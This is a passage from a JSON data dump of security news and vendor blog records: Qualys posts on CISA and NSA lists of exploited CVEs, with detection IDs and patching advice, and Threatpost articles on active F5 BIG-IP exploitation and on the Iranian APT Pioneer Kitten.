Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]| Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]| Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]| Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]| Proxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]| Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-26T20:20:32", "type": "qualysblog", "title": "Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-02-26T20:20:32", "id": "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-23T16:02:16", "description": "On October 20, 2020, the United States National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) on Chinese state-sponsored malicious cyber activity. The NSA alert provided a list of 25 publicly known vulnerabilities that are known to be recently leveraged by cyber actors for various hacking operations.\n\n&quot;Since these techniques include exploitation of publicly known vulnerabilities, it is critical that network defenders prioritize patching and \nmitigation efforts,&quot; said the NSA advisory. It also recommended &quot;critical system owners consider these actions a priority, in order to mitigate the loss of sensitive information that could impact U.S. policies, strategies, plans, and competitive advantage.&quot;\n\nEarlier this year, the NSA also announced Sandworm actors exploiting the [Exim MTA Vulnerability](<https://blog.qualys.com/product-tech/2020/05/29/nsa-announces-sandworm-actors-exploiting-exim-mta-vulnerability-cve-2019-10149>). Similar alerts have been published by the Cybersecurity and Infrastructure Security Agency (CISA) over the last year. CISA also issued an [advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-275a>) notifying about vulnerabilities that were exploited in the wild to retrieve sensitive data such as intellectual property, economic, political, and military information. \n\nHere is a list of 25 publicly known vulnerabilities (CVEs) published by the NSA, along affected products and associated Qualys VMDR QID(s) for each vulnerability:\n\n**CVE-ID(s)**| **Affected products**| **Qualys QID(s)** \n---|---|--- \nCVE-2020-5902| Big-IP devices| 38791, 373106 \nCVE-2019-19781| Citrix Application Delivery Controller \nCitrix Gateway \nCitrix SDWAN WANOP| 150273, 372305, 372685 \nCVE-2019-11510| Pulse Connect Secure| 38771 \nCVE-2020-8193 \nCVE-2020-8195 \nCVE-2020-8196| Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 \nCitrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7| 13833, 373116 \nCVE-2019-0708| Microsoft Windows multiple products| 91541, 91534 \nCVE-2020-15505| MobileIron Core &amp; Connector| 13998 \nCVE-2020-1350| Microsoft Windows multiple products| 91662 \nCVE-2020-1472| Microsoft Windows multiple products| 91688 \nCVE-2019-1040| Microsoft Windows multiple products| 91653 \nCVE-2018-6789| Exim before 4.90.1| 50089 \nCVE-2020-0688| Multiple Microsoft Exchange Server| 50098 \nCVE-2018-4939| Adobe ColdFusion| 370874 \nCVE-2015-4852| Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0| 86362, 86340 \nCVE-2020-2555| Oracle Coherence product of Oracle Fusion Middleware Middleware; versions 3.7.1.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0.| 372345 \nCVE-2019-3396| Atlassian Confluence Server before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3), and from version 6.14.0 before 6.14.2| 13459 \nCVE-2019-11580| Atlassian Crowd and Crowd Data Center| 13525 \nCVE-2020-10189| Zoho ManageEngine Desktop Central before 10.0.474| 372442 \nCVE-2019-18935| Progress Telerik UI for ASP.NET AJAX through 2019.3.1023| 372327, 150299 \nCVE-2020-0601| Microsoft Windows multiple products| 91595 \nCVE-2019-0803| Microsoft Windows multiple products| 91522 \nCVE-2017-6327| Symantec Messaging Gateway before 10.6.3-267| 11856 \nCVE-2020-3118| Cisco IOS XR, NCS| 316792 \nCVE-2020-8515| DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices| 13730 \n \n## Detect 25 Publicly Known Vulnerabilities using VMDR\n\nQualys released several remote and authenticated QIDs for commonly exploited vulnerabilities. You can search for these QIDs in VMDR Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.cveIds: [CVE-2019-11510,CVE-2020-5902,CVE-2019-19781,CVE-2020-8193,CVE-2020-8195,CVE-2020-8196,CVE-2019-0708,CVE-2020-15505,CVE-2020-1472,CVE-2019-1040,CVE-2020-1350,CVE-2018-6789,CVE-2018-4939,CVE-2020-0688,CVE-2015-4852,CVE-2020-2555,CVE-2019-3396,CVE-2019-11580,CVE-2020-10189,CVE-2019-18935,CVE-2020-0601,CVE-2019-0803,CVE-2017-6327,CVE-2020-3118,CVE-2020-8515]_\n\n * \n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), customers can effectively prioritize this vulnerability for &quot;Active Attack&quot; RTI:\n\n\n\n### Identify Vulnerable Assets using Qualys Threat Protection\n\nIn addition, Qualys customers can locate vulnerable host through [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) by simply clicking on the impacted hosts. This helps in effectively identifying and tracking this vulnerability.\n\n\n\nWith VMDR Dashboard, you can track 25 publicly known exploited vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [&quot;NSA&#x27;s Top 25 Vulnerabilities from China&quot; dashboard](<https://qualys-secure.force.com/customer/s/article/000006429>).\n\n\n\n### **Recommendations**\n\nAs guided by CISA, to protect assets from exploiting, one must do the following:\n\n * Minimize gaps in personnel availability and consistently consume relevant threat intelligence.\n * Vigilance team of an organization should keep a close eye on indications of compromise (IOCs) as well as strict reporting processes.\n * Regular incident response exercises at the organizational level are always recommended as a proactive approach.\n\n#### **Remediation and Mitigation**\n\n * Patch systems and equipment promptly and diligently.\n * Implement rigorous configuration management programs.\n * Disable unnecessary ports, protocols, and services.\n * Enhance monitoring of network and email traffic.\n * Use protection capabilities to stop malicious activity.\n\n### Get Started Now\n\nStart your [Qualys VMDR trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting and patching the high-priority commonly exploited vulnerabilities.\n\n### References\n\n<https://us-cert.cisa.gov/ncas/alerts/aa20-275a>\n\n<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>\n\n<https://us-cert.cisa.gov/ncas/current-activity/2020/10/20/nsa-releases-advisory-chinese-state-sponsored-actors-exploiting>", "cvss3": {}, "published": "2020-10-22T23:10:29", "type": "qualysblog", "title": "NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-10149", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-22T23:10:29", "id": "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-02T20:34:35", "description": "On July 28, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [cybersecurity advisory](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>) detailing the top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021. Organizations are advised to prioritize and apply patches or workarounds for these vulnerabilities as soon as possible.\n\nThe advisory states, \u201cIf an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems).\u201d\n\nCISA released the advisory in conjunction with the Australian Cyber Security Centre (ACSC), the United Kingdom\u2019s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI).\n\nThe CISA advisory is similar in scope to the October 2020 United States National Security Agency (NSA) [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) listing the top 25 known vulnerabilities being actively used by Chinese state-sponsored cyber actors [that security teams can detect and mitigate or remediate](<https://blog.qualys.com/product-tech/2020/10/22/nsa-alert-chinese-state-sponsored-actors-exploit-known-vulnerabilities>) in their infrastructure using Qualys VMDR.\n\n### Top Routinely Exploited Vulnerabilities\n\nHere is the list of top routinely exploited vulnerabilities in 2020 and 2021 along with affected products and associated Qualys VMDR QID(s) for each vulnerability.\n\n**CVE-IDs**| **Affected Products**| **Qualys Detections (QIDs)** \n---|---|--- \nCVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065| Microsoft Exchange| 50107, 50108 \nCVE-2021-22893, CVE-2021-22894, CVE-2021-22899, CVE-2021-22900| Pulse Secure| 38838 \nCVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104| Accellion| 38830 \nCVE-2021-21985| VMware| 730102, 216261, 216260, 216259 \nCVE-2018-13379, CVE-2020-12812, CVE-2019-5591| Fortinet| 43702, 43769, 43825 \nCVE-2019-19781| Citrix| 150273, 372305, 372685 \nCVE-2019-11510| Pulse| 38771 \nCVE-2018-13379| Fortinet| 43702 \nCVE-2020-5902| F5- Big IP| 38791, 373106 \nCVE-2020-15505| MobileIron| 13998 \nCVE-2017-11882| Microsoft| 110308 \nCVE-2019-11580| Atlassian| 13525 \nCVE-2018-7600| Drupal| 371954, 150218, 277288, 176337, 11942 \nCVE-2019-18935| Telerik| 150299, 372327 \nCVE-2019-0604| Microsoft| 110330 \nCVE-2020-0787| Microsoft| 91609 \nCVE-2020-1472| Netlogon| 91688 \n \n### Detect CISA\u2019s Top Routinely Exploited Vulnerabilities using Qualys VMDR\n\nQualys released several remote and authenticated detections (QIDs) for the vulnerabilities. You can search for these QIDs in VMDR Dashboard using the following QQL query:\n\n__vulnerabilities.vulnerability.cveIds: [_`_CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27065`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-21985`,` CVE-2018-13379`,`CVE-2020-12812`,`CVE-2019-5591`,`CVE-2019-19781`,`CVE-2019-11510`,`CVE-2018-13379`,`CVE-2020-5902`,`CVE-2020-15505`,`CVE-2017-11882`,`CVE-2019-11580`,`CVE-2019-18935`,`CVE-2019-0604`,`CVE-2020-0787`,`CVE-2020-1472`]__\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), customers can effectively prioritize this vulnerability for \u201cActive Attack\u201d RTI:\n\n\n\nWith VMDR Dashboard, you can track top 30 publicly known exploited vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [\u201cCISA: Alert (AA21-209A) | Top Exploited\u201d dashboard](<https://success.qualys.com/support/s/article/000006738>).\n\n\n\n### Recommendations\n\nAs guided by CISA, one must do the following to protect assets from being exploited:\n\n * Minimize gaps in personnel availability and consistently consume relevant threat intelligence.\n * Organizations\u2019 vigilance team should keep a close eye on indications of compromise (IOCs) as well as strict reporting processes.\n * Regular incident response exercises at the organizational level are always recommended as a proactive approach.\n * Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts.\n * Focus cyber defense resources on patching those vulnerabilities that cyber actors most often use.\n\n### Remediation and Mitigation\n\n * Patch systems and equipment promptly and diligently.\n * Implement rigorous configuration management programs.\n * Disable unnecessary ports, protocols, and services.\n * Enhance monitoring of network and email traffic.\n * Use protection capabilities to stop malicious activity.\n\n### Get Started Now\n\nStart your [_Qualys VMDR trial_](<https://www.qualys.com/subscriptions/vmdr/>) to automatically detect and mitigate or remediate the CISA top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T00:20:27", "type": "qualysblog", "title": "CISA Alert: Top Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-5591", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-07-29T00:20:27", "id": "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-03-19T21:53:52", "description": "Attackers are exploiting a recently-patched, critical vulnerability in F5 devices that have not yet been updated.\n\nThe unauthenticated remote command execution flaw (CVE-2021-22986) exists in the F5 BIG-IP and BIG-IQ enterprise networking infrastructure, and could allow attackers to take full control over a vulnerable system.\n\nEarlier in March, F5 [issued a patch for the flaw](<https://threatpost.com/f5-cisa-critical-rce-bugs/164679/>), which has a CVSS rating of 9.8 and exists in the iControl REST interface. After the patch was issued, several researchers posted proof-of-concept (PoC) exploit code after reverse engineering the Java software patch in BIG-IP.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFast forward to this week, researchers reported mass scanning for \u2013 and in-the-wild exploitation of \u2013 the flaw.\n\n\u201cStarting this week and especially in the last 24 hours (March 18th, 2021) we have observed multiple exploitation attempts against our honeypot infrastructure,\u201d said researchers with the NCC Group [on Thursday](<https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/>). \u201cThis knowledge, combined with having reproduced the full exploit-chain we assess that a public exploit is likely to be available in the public domain soon.\u201d\n\n## CISA, Researchers Urge Updating\n\nThe U.S. Cybersecurity and Infrastructure Agency (CISA) has [urged](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq>) companies using BIG-IP and BIG-IQ to fix the critical F5 flaw, along with another bug being tracked as [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>). This flaw, with a CVSS rating of 9.9, affects the infrastructure\u2019s Traffic Management User Interface (TMUI), also referred to as the Configuration utility. When running in Appliance mode, the TMUI has an authenticated RCE vulnerability in undisclosed pages.\n\n> Opportunistic mass scanning activity detected from the following hosts checking for F5 iControl REST endpoints vulnerable to remote command execution (CVE-2021-22986).\n> \n> 112.97.56.78 (\ud83c\udde8\ud83c\uddf3) \n13.70.46.69 (\ud83c\udded\ud83c\uddf0) \n115.236.5.58 (\ud83c\udde8\ud83c\uddf3)\n> \n> Vendor advisory: <https://t.co/MsZmXEtcTn> [#threatintel](<https://twitter.com/hashtag/threatintel?src=hash&ref_src=twsrc%5Etfw>)\n> \n> \u2014 Bad Packets (@bad_packets) [March 19, 2021](<https://twitter.com/bad_packets/status/1372818419611885576?ref_src=twsrc%5Etfw>)\n\nThe scenario is particularly urgent as F5 provides enterprise networking to some of the largest tech companies in the world, including Facebook, Microsoft and Oracle, as well as to a trove of Fortune 500 companies, including some of the world\u2019s biggest financial institutions and ISPs.\n\n\u201cThe F5 BIG-IP is a very juicy target due to the fact that it can handle highly sensitive data,\u201d said Craig Young, principal security researcher at Tripwire in an email. \u201cAn attacker with full control over a load balancing appliance can also take control over the web applications served through it.\u201d\n\nIt\u2019s not clear who is behind the exploitations; Threatpost has reached out to NCC Group for further comment.\n\n## **Other Active Exploits of F5 Flaws**\n\nSecurity experts [in July urged companies](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to deploy an urgent patch for a critical vulnerability in F5 Networks\u2019 networking devices, which was being actively exploited by attackers to scrape credentials, launch malware and more. The critical remote code-execution flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)) had a CVSS score of 10 out of 10.\n\nAnd in September, the U.S. government warned that Chinese threat actors successfully compromised several government and private sector entities by [exploiting vulnerabilities in F5 BIG-IP devices](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) (as well as Citrix and Pulse Secure VPNs and Microsoft Exchange servers).\n\nFor this latest rash of exploit attempts, anyone running an affected version of BIG-IP should prioritize upgrade, said Young.\n\n\u201cAny organization running BIG-IP or other network appliance with the management access exposed to the Internet should be re-evaluating their network layout and bringing those assets onto private networks,\u201d he said.\n\n**_[Register for this LIVE Event](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)_****_: 0-Day Disclosures: Good, Bad &amp; Ugly:_** **_On Mar. 24 at 2 p.m. ET_**_, Threatpost_ tackles how vulnerability disclosures can pose a risk to companies. To be discussed, Microsoft 0-days found in Exchange Servers. Join 0-day hunters from Intel Corp. and veteran bug bounty researchers who will untangle the 0-day economy and unpack what\u2019s on the line for all businesses when it comes to the disclosure process. [Register NOW](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>) for this **LIVE **webinar on Wed., Mar. 24.\n", "cvss3": {}, "published": "2021-03-19T20:52:15", "type": "threatpost", "title": "Critical F5 BIG-IP Flaw Now Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986", "CVE-2021-22987"], "modified": "2021-03-19T20:52:15", "id": "THREATPOST:BC4ECD6616ADCCFFD5717D0A9A0D065B", "href": "https://threatpost.com/critical-f5-big-ip-flaw-now-under-active-attack/164940/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:22:26", "description": "About 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices are still vulnerable to full system access and remote code-execution (RCE), despite a patch for a critical flaw being available for two weeks.\n\nThe BIG-IP family consists of application delivery controllers, Local Traffic Managers (LTMs) and domain name system (DNS) managers, together offering built-in security, traffic management and performance application services for private data centers or in the cloud.\n\nAt the end of June, F5 issued urgent patches for a critical RCE flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), which is present in the Traffic Management User Interface (TMUI) of the company\u2019s BIG-IP app delivery controllers. The bug has a CVSS severity score of 10 out of 10, and at the time of disclosure, Shodan [showed](<https://twitter.com/GossiTheDog/status/1279005317821497344/photo/1>) that there were almost 8,500 vulnerable devices exposed on the internet.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nShortly after disclosure, public exploits [were made](<https://twitter.com/wugeej/status/1280008779359125504?s=20>) available for it, leading to mass scanning for [vulnerable devices ](<https://twitter.com/bad_packets/status/1279884302990237696?s=20>)by attackers, and ultimately active exploits.\n\n\u201cCVE-2020-5902 received the highest vulnerability rating of critical from the National Vulnerability Database due to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d Expanse researchers noted in [an advisory](<http://expanse.co/blog/expanse-researchers-show-more-than-8,000-f5-big-ip-tmuis-are-still-exposed-on-the-internet>) issued on Friday. \u201cIt was deemed so critical that U.S. Cyber Command [issued a tweet](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) on the afternoon of July 3, recommending immediate patching despite the holiday weekend. While F5 did not release a proof of concept (PoC) for the exploit, numerous PoCs began appearing on July 5.\u201d\n\nFast-forward to two weeks later, and patches have rolled out to less than 500 of that original group of vulnerable machines, according to the analysis. Expanse researchers said that as of July 15, there were at least 8,041 vulnerable TMUI instances still exposed to the public internet.\n\nThe stakes are high, as one would expect from a critical-rated bug: \u201cThe vulnerability CVE-2020-5902 allows for the execution of arbitrary system commands on vulnerable BIG-IP devices with an exposed and accessible management port via the TMUI,\u201d explained the researchers. \u201cThis vulnerability could provide complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serve as a hop point into other areas of the network.\u201d\n\nTo boot, an additional bug, [CVE-2020-5903](<https://support.f5.com/csp/article/K43638305>), affects the same vulnerable management interface via a cross-site scripting vulnerability (XSS) that Expanse said could also be leveraged to include RCE.\n\nDespite active exploits and security experts urging companies to deploy the urgent patch for the critical vulnerability, patching is clearly going slowly \u2013 something that Tim Junio, CEO and co-founder of Expanse, chalks up to a lack of visibility.\n\n\u201cPatching is likely proceeding slowly because organizations may not know that they have these TMUIs,\u201d Junio told Threatpost. \u201cIf they are unaware of their complete inventory of internet-connected systems and services, they will not have well-defined processes for patching them. Security teams are also often stretched thin and that can result in delays in patching, even for critical items like this.\u201d\n\nJunio also told Threatpost that if a malicious actor gained this type of remote access it could be catastrophic \u2013 and yet the bug carries an ease of exploitation that he likens to a Jedi mind trick.\n\n\u201cAn attacker just needs to send the firewall a set of commands, which are now publicly known, in order to take over the firewall,\u201d he explained. \u201cA physical world analogy: If a firewall is a bit like a guard and a gate at the entrance of a facility that is surrounded by walls, this exploit is like a Jedi mind trick whereby an attacker can walk right up to the guard, suggest to the guard they leave their post and give the attacker a guard uniform and all keys to the gate \u2013 and _the guard will say yes_.\u201d\n\nThe attacker can then carry out all sorts of different nefarious activities in the context of a privileged user.\n\nJunio explained, continuing his analogy, \u201cIn other words, the attacker can now walk into the facility unimpeded (unauthorized access); bring sensitive data and objects out of the facility unimpeded (exfiltration); and can close the gate to legitimate people trying to enter the facility (denial of service); among many other actions.\u201d\n\nThe TMUI is responsible for configuration, and Junio noted that there\u2019s generally no reason for it to be exposed to the internet \u2013 so, a simple interim mitigation (albeit not a full one) in lieu of patching would be to remove it from public view.\n\n\u201cThis is a very concerning number of exposed TMUIs on the internet,\u201d said Junio. \u201cA hack of a major enterprise via this type of attack vector could be very damaging to that organization.\u201d\n\nHe added that he believes that an attack on any number of enterprises could go so far as to be harmful to the global economy.\n\n\u201cActual day-to-day users of F5 equipment are generally going to be security operations, network operations or infrastructure professionals,\u201d said Junio. \u201cBigger picture, the customers/buyers of this technology are some of the world\u2019s largest enterprises and government agencies.\u201d These include 48 out of the Fortune 50, he added, though he\u2019s not aware which, if any, of these specific installations are vulnerable to attack.\n", "cvss3": {}, "published": "2020-07-17T20:59:33", "type": "threatpost", "title": "Thousands of Vulnerable F5 BIG-IP Users Still Open to Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-17T20:59:33", "id": "THREATPOST:F54AECDBDA250A6122DF9A079CE7AEF3", "href": "https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-09-01T21:47:35", "description": "An APT group known as Pioneer Kitten, linked to Iran, has been spotted selling corporate-network credentials on hacker forums. The credentials would let other cybercriminal groups and APTs perform cyberespionage and other nefarious cyber-activity.\n\nPioneer Kitten is a hacker group that specializes in infiltrating corporate networks using open-source tools to compromise remote external services. Researchers observed an actor associated with the group advertising access to compromised networks on an underground forum in July, according to a [blog post](<https://www.crowdstrike.com/blog/who-is-pioneer-kitten/>) Monday from Alex Orleans, a senior intelligence analyst at CrowdStrike Intelligence.\n\nPioneer Kitten\u2019s work is related to other groups either sponsored or run by the Iranian government, which [were previously seen](<https://www.zdnet.com/article/iranian-hackers-have-been-hacking-vpn-servers-to-plant-backdoors-in-companies-around-the-world/>) hacking VPNs and planting backdoors in companies around the world.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIndeed, the credential sales on hacker forums seem to suggest \u201ca potential attempt at revenue stream diversification\u201d to complement \u201cits targeted intrusions in support of the Iranian government,\u201d Orleans wrote. However, Pioneer Kitten, which has been around since 2017, does not appear to be directly operated by the Iranian government but is rather sympathetic to the regime and likely a private contractor, Orleans noted.\n\nPioneer Kitten\u2019s chief mode of operations is its reliance on SSH tunneling, using open-source tools such as Ngrok and a custom tool called SSHMinion, he wrote. The group uses these tools to communicate \u201cwith implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP)\u201d to exploit vulnerabilities in VPNs and network appliances to do its dirty work, Orleans explained.\n\nCrowdStrike observed the group leveraging several critical exploits in particular \u2014 [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and most recently, [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>). All three are exploits affect VPNs and networking equipment, including Pulse Secure \u201cConnect\u201d enterprise VPNs, Citrix servers and network gateways, and F5 Networks BIG-IP load balancers, respectively.\n\nPioneer Kitten\u2019s targets are North American and Israeli organizations in various sectors that represent some type of intelligence interest to the Iranian government, according to CrowdStrike. Target sectors run the gamut and include technology, government, defense, healthcare, aviation, media, academic, engineering, consulting and professional services, chemical, manufacturing, financial services, insurance and retail.\n\nWhile not as well-known or widespread in its activity as other nation-state threats such as China and Russia, Iran has emerged in recent years as a formidable cyber-enemy, amassing a number of APTs to mount attacks on its political adversaries.\n\nOf these, Charming Kitten\u2014which also goes by the names APT35, Ajax or Phosphorus\u2014appears to be the most active and dangerous, while others bearing similar names seem to be spin-offs or support groups. Iran overall appears to be ramping up its cyber-activity lately. CrowdStrike\u2019s report actually comes on the heels of news that Charming Kitten also has [resurfaced recently. ](<https://threatpost.com/charming-kitten-whatsapp-linkedin-effort/158813/>)A new campaign is using LinkedIn and WhatsApp to convince targets \u2014 including Israeli university scholars and U.S. government employees \u2014 to click on a malicious link that can steal credentials.\n\nOperating since 2014, Charming Kitten is known for politically motivated and socially engineered attacks, and often uses phishing as its attack of choice. Targets of the APT, which uses clever social 